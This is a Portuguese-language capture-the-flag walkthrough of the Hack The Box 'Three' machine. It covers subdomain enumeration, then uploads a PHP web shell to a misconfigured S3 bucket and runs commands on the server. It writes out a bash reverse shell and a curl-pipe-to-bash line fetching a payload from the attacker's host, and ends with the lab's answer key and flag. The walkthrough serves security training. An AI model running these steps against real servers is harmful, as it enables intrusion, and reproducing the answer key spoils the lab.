Three Machine

Introdução

Organizações de todos os tipos, tamanhos e indústrias estão utilizando a nuvem para diversas finalidades, como backup de dados, armazenamento, recuperação de desastres, e-mail, desktops virtuais, desenvolvimento e teste de software, entre outros.

Por isso, é essencial garantir uma configuração segura para a infraestrutura de nuvem de uma empresa, a fim de proteger contra possíveis ataques.

Um exemplo disso é uma máquina Linux que hospeda um site e utiliza um bucket do AWS S3 como dispositivo de armazenamento em nuvem. Podemos explorar esse bucket S3 mal configurado, fazer o upload de um shell reverso e acessar a URL correspondente para executar o arquivo. Isso nos permitirá, ao final, capturar a flag.

Enumeração

sudo nmap -sV 10.129.6.88

A varredura mostra que há duas portas abertas: a porta 80 (HTTP) e a porta 22 (SSH). Vamos explorar a porta 80 usando nosso navegador web.

Podemos ver uma página web estática que apresenta uma seção de reserva de ingressos para shows, mas ela não está funcional. Ao revisar o código-fonte da página, percebemos que o formulário “Contact” envia requisições para uma página PHP, /action_page.php, o que indica que o backend do servidor dessa aplicação web foi desenvolvido utilizando PHP.

Além disso, ao acessar /index.php, somos direcionados à página inicial da aplicação web, confirmando ainda mais que o servidor está utilizando PHP.

A seção “Contact” também inclui um endereço de e-mail com o domínio thetoppers.htb.

Vamos adicionar uma entrada para thetoppers.htb no arquivo /etc/hosts com o endereço IP correspondente, para que possamos acessar esse domínio em nosso navegador.

O arquivo /etc/hosts é usado para resolver nomes de host em endereços IP. Por padrão, o sistema consulta o arquivo /etc/hosts antes de recorrer ao servidor DNS para resolver nomes de host. Portanto, será necessário adicionar uma entrada para este domínio no arquivo /etc/hosts para que o navegador possa resolver o endereço de thetoppers.htb.

echo “10.129.6.88 thetoppers.htb” | sudo tee -a /etc/hosts

Enumeração de subdomínios

Um subdomínio é uma informação adicional adicionada ao início do nome de domínio de um site. Ele permite que os sites organizem e separem conteúdos para funções específicas — como um blog ou uma loja virtual — do restante do site.

Por exemplo, ao visitar hackthebox.com, acessamos o site principal. Ou, ao visitar ctf.hackthebox.com, acessamos a seção destinada a desafios CTF. Nesse caso, ctf é o subdomínio, hackthebox é o domínio principal e com é o domínio de nível superior (TLD). Embora a URL mude levemente, você ainda está no site da Hack The Box, sob seu domínio principal.

Frequentemente, subdomínios diferentes possuem endereços IP distintos, permitindo que o sistema localize o servidor responsável por aquela aplicação específica. Também é possível que um único servidor gerencie vários subdomínios, utilizando “roteamento baseado em host” ou “roteamento de hosts virtuais”. Nesse caso, o servidor usa o cabeçalho Host na requisição HTTP para determinar qual aplicação deve tratar a solicitação.

Como temos o domínio thetoppers.htb, vamos enumerar possíveis subdomínios que possam estar presentes no mesmo servidor. Existem diversas ferramentas para essa tarefa, como gobuster, wfuzz, feroxbuster, entre outras. Para este exemplo, utilizaremos o gobuster para realizar a enumeração de subdomínios, utilizando o seguinte comando.

gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb

 

Usaremos as seguintes flags com o gobuster.

vhosts: Utiliza o VHOSTS para realizar o ataque de força bruta
-w: caminho para a lista de palavras
-u: caminho da URL

Nota: Se estivermos utilizando o Gobuster versão 3.2.0 ou superior, também será necessário adicionar a flag –append-domain ao comando. Isso garante que a enumeração leve em consideração o vHost conhecido (thetoppers.htb) e o anexe às palavras encontradas na wordlist (por exemplo, word.thetoppers.htb).

O Gobuster enviará requisições com um cabeçalho Host semelhante ao seguinte para cada palavra na wordlist:

Host: word.thetoppers.htb

Ele irá registrar a resposta padrão e exibir quaisquer resultados que retornem algo diferente.

O resultado do gobuster mostra que existe um subdomínio chamado s3.thetoppers.htb. Vamos adicionar uma entrada para esse subdomínio no arquivo /etc/hosts.

echo “10.129.6.88 s3.thetoppers.htb” | sudo tee -a /etc/hosts

Após adicionar a entrada correspondente no arquivo /etc/hosts, podemos acessar s3.thetoppers.htb usando um navegador.

A página contém apenas o seguinte JSON:

{“status”: “running”}

O que é um bucket S3?

Uma rápida pesquisa no Google com as palavras-chave “s3 subdomain status running” retorna este resultado, indicando que o S3 é um serviço de armazenamento de objetos baseado na nuvem. Ele permite armazenar dados em contêineres chamados buckets. Os buckets do AWS S3 têm diversas utilidades, como Backup e Armazenamento, Hospedagem de Mídia, Distribuição de Software, Sites Estáticos, entre outros. Os arquivos armazenados no bucket da Amazon S3 são chamados de objetos S3.

Podemos interagir com esse bucket S3 com a ajuda da ferramenta awscli. Ela pode ser instalada no Linux utilizando o comando:

sudo apt install awscli

Primeiro, precisamos configurá-la usando o seguinte comando.

aws configure

Usaremos um valor arbitrário para todos os campos, pois, às vezes, o servidor é configurado para não verificar a autenticação (ainda assim, ele precisa estar configurado com algum valor para o AWS funcionar).


Podemos listar todos os buckets S3 hospedados pelo servidor utilizando o comando ls.

aws –endpoint=http://s3.thetoppers.htb s3 ls

Também podemos usar o comando ls para listar objetos e prefixos comuns dentro do bucket especificado.

aws –endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

Vemos os arquivos index.php, .htaccess e um diretório chamado images no bucket especificado. Parece que este é o webroot do site que está rodando na porta 80. Assim, o servidor Apache está utilizando este bucket S3 como armazenamento.

O awscli possui um recurso que permite copiar arquivos para um bucket remoto. Já sabemos que o site está usando PHP. Portanto, podemos tentar fazer o upload de um arquivo PHP de shell para o bucket S3 e, como ele será enviado para o diretório webroot, podemos visitar essa página no navegador, o que fará com que o arquivo seja executado e, assim, alcançaremos a execução remota de código.

Podemos usar a seguinte linha de comando PHP, que utiliza a função system(), que recebe o parâmetro de URL cmd como entrada e executa-o como um comando do sistema.

<?php system($GET[“cmd”]); ?>

Vamos criar um arquivo PHP para fazer o upload.

echo ‘<?php system($_GET[“cmd”]); ?>’ > shell.php

Em seguida, podemos fazer o upload deste shell PHP para o bucket S3 thetoppers.htb utilizando o seguinte comando:

aws –endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

Podemos confirmar que nosso shell foi carregado acessando http://thetoppers.htb/shell.php. Vamos tentar executar o comando do sistema id utilizando o parâmetro de URL cmd.

A URL ficaria assim:

http://thetoppers.htb/shell.php?cmd=id

Isso deverá retornar o ID do usuário do sistema.

A resposta do servidor contém a saída do comando id, o que verificou que temos execução de código na máquina. Agora, vamos tentar obter um reverse shell.

Por meio de um reverse shell, faremos com que o host remoto se conecte de volta ao endereço IP da nossa máquina local na porta de escuta especificada. Para obter o endereço IP tun0 da nossa máquina local, podemos usar o seguinte comando:

ip addr show tun0

Isso exibirá o endereço IP da interface tun0, que pode ser usado para configurar a conexão do reverse shell.

Vamos criar um reverse shell criando um novo arquivo shell.sh contendo o seguinte payload de bash reverse shell, que se conectará de volta à nossa máquina local na porta 1337:

#!/bin/bash
bash -i >& /dev/tcp//1337 0>&1

Vamos iniciar um ouvinte ncat na porta 1337 da nossa máquina local com o seguinte comando:

ncat -lvnp 1337

Este comando fará com que o ncat escute na porta 1337 e aguarde uma conexão. Quando a máquina remota tentar se conectar, você obterá um reverse shell.

Vamos iniciar um servidor web na nossa máquina local na porta 8000 para hospedar o arquivo bash. É importante notar que este comando para iniciar o servidor web deve ser executado a partir do diretório que contém o arquivo do reverse shell. Portanto, primeiro precisamos navegar até o diretório correto e, em seguida, executar o seguinte comando:

python3 -m http.server 8000

Podemos usar a ferramenta curl para buscar o arquivo do reverse shell bash do nosso host local e então direcioná-lo para o bash para executá-lo. Para isso, devemos acessar a seguinte URL contendo o payload no navegador:

http://thetoppers.htb/shell.php?cmd=curl http://10.10.14.122:8000/shell.sh | bash

ou pode ler o arquivo pela barra de endereços do navegador

http://thetoppers.htb/shell.php?cmd=cat%20/var/www/flag.txt

A bandeira (flag) pode ser encontrada em /var/www/flag.txt.

cat /var/www/flag.txt

a980d99281a28d638ac68b9bf9453c2b

Question 01: How many TCP ports are open?

2

Question 02: What is the domain of the email address provided in the “Contact” section of the website?

thetoppers.htb

Question 03: In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

/etc/hosts

Question 04: Which sub-domain is discovered during further enumeration?

s3.thetoppers.htb

Question 05: Which service is running on the discovered sub-domain?

Amazon S3

Question 06: Which command line utility can be used to interact with the service running on the discovered sub-domain?

awscli

Question 07: Which command is used to set up the AWS CLI installation?

aws configure

Question 08: What is the command used by the above utility to list all of the S3 buckets?

aws s3 ls

Question 09: This server is configured to run files written in what web scripting language?

PHP

Question 10: Submit root flag

a980d99281a28d638ac68b9bf9453c2b

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Rolar para cima